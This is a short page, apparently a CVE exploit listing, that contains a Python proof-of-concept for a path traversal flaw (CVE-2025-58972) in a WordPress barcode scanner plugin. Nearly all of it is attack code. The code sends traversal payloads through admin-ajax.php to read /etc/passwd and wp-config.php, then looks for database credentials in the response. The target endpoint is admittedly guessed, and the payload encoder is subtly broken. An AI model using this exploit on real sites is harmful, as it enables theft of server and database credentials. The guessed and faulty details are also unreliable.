CVE-2025-58972 WordPress Barcode Scanner插件路径遍历漏洞

import requests import sys # CVE-2025-58972 Path Traversal PoC # Target: WordPress Barcode Scanner with Inventory & Order Manager plugin # Vulnerability: Path traversal via '.../...//' sequence TARGET_URL = "http://target-wordpress-site.com" # Authentication cookies (need high privileges) COOKIES = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_cookie": "your_auth_cookie_here" } def test_path_traversal(): """Test for path traversal vulnerability""" # Read system files via path traversal paths_to_test = [ ".../...//.../...//etc/passwd", ".../...//.../...//wp-config.php", ".../...//.../...//var/www/html/wp-config.php" ] print("[*] Testing CVE-2025-58972 Path Traversal...") for path in paths_to_test: # The vulnerable endpoint depends on plugin implementation # Common endpoints in barcode scanner plugins: url = f"{TARGET_URL}/wp-admin/admin-ajax.php" params = { "action": "barcode_scanner_read_file", "file_path": path } try: response = requests.get(url, params=params, cookies=COOKIES, timeout=10) if response.status_code == 200 and any(indicator in response.text for indicator in ["root:", "<?php", "DB_NAME"]): print(f"[+] VULNERABLE! Successfully read: {path}") print(f"[+] Content preview: {response.text[:200]}...") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {path}: {e}") print("[-] Target may not be vulnerable or requires different exploitation vector") return False def generate_payload(target_file): """Generate path traversal payload for specific target file""" payload = f".../...//.../...//{target_file}" # URL encode special characters encoded_payload = payload.replace("...", "%2e%2e").replace("/", "/") return payload, encoded_payload if __name__ == "__main__": print("CVE-2025-58972 - Barcode Scanner Path Traversal PoC") print("=" * 60) test_path_traversal()